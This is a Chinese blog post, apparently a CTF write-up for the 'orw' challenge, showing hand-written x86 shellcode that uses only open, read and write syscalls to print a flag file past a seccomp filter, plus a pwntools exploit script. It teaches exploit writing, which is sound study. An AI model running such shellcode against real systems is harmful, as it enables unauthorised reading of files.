lab2

作者: n0va | 来源:发表于2019-01-20 11:44 被阅读0次

checksec 一波,只开了 canary

到IDA里看一波,程序逻辑很简单,就是让你输入一个shellcode然后执行它,但是这里需要注意orw_seccomp函数,里面有个prctl会限制部分syscall的调用,只能通过open ,read , write 到获得flag,不是很懂prctl的第一个参数的数值代表什么,就估且当做是第n个的代号吧,往下数到第22个

image.png

既然只能读写,那就不能用system(/bin/cat flag)去获取flag,这里我们需要自己写shellcode:

fp = open("flag",0)
read(fp,buf,0x30)
write(1,buf,0x30)

首先我们要查到open,read,write三个函数对应的系统调用号和参数应该调入的寄存器:http://syscalls.kernelgrok.com/

image.png

接下来写shellcode:

fp = open("flag",0)
push 0               0截断:这个0是必需的,这样才能截断字符串的读取
push 0x67616c66      "flag"
mov ebx,esp           open的第一个参数 "flag"
xor ecx,ecx           将ecx清0,做为open的第二个参数
mov eax,0x5           open的系统调用号
int 0x80              中断,进入系统调用

read(fp,buf,0x30)     
mov ebx,eax               系统调用结束 ,将返回值存入eax,(open的返回值为fp,而fp为read的第一个参数)将ebx赋值为fp,做为read的第一个参数
mov ecx,esp               将栈顶传给ecx做为read的第二个参数
mov edx,0x30              read的第三个参数0x30
xor eax,eax               清空eax
mov eax,0x3               read的系统调用号
int 0x80                  中断,进入系统调用

write(1,buf,0x30)(因为write的第二个参数跟read的一样,所以这里可以不用再传一次)
mov ebx,1     write的第1个参数
mov edx,0x30  write的第三个参数
mov eax,0x4   write的系统调用号
int 0x80      中断,进入系统 调用

因为自己踩过坑,这里补充一下0截断,也就是在push "flag"之前 为什么要push 0
字符串在读取的时候总是以\x00作为结束标志,如果不先push 0,那么它会将后面的东西也当做字符串读取进来,这样会导致系统读到的文件名不是"flag",而是"flag....."后面还有东西,这样就会找不到flag,这里read的返回值就为-1。

image.png image.png

这样,shellcode就写完了,exp如下 :

from pwn import *
p = process('./orw.bin')
shellcode = '''
push 0
push 0x67616c66
mov ebx,esp
xor ecx,ecx
mov eax,0x5
int 0x80

mov ebx,eax
mov ecx,esp
mov edx,0x30
xor eax,eax
mov eax,0x3
int 0x80

mov ebx,1
mov edx,0x30
mov eax,0x4
int 0x80
'''
print asm(shellcode)
pause()
p.recvuntil(":")
gdb.attach(p,"b *0x08048582")
pause()
p.sendline(asm(shellcode))

pause()
p.interactive()

相关文章

网友评论

      本文标题:lab2

      本文链接:https://www.haomeiwen.com/subject/uxkxjqtx.html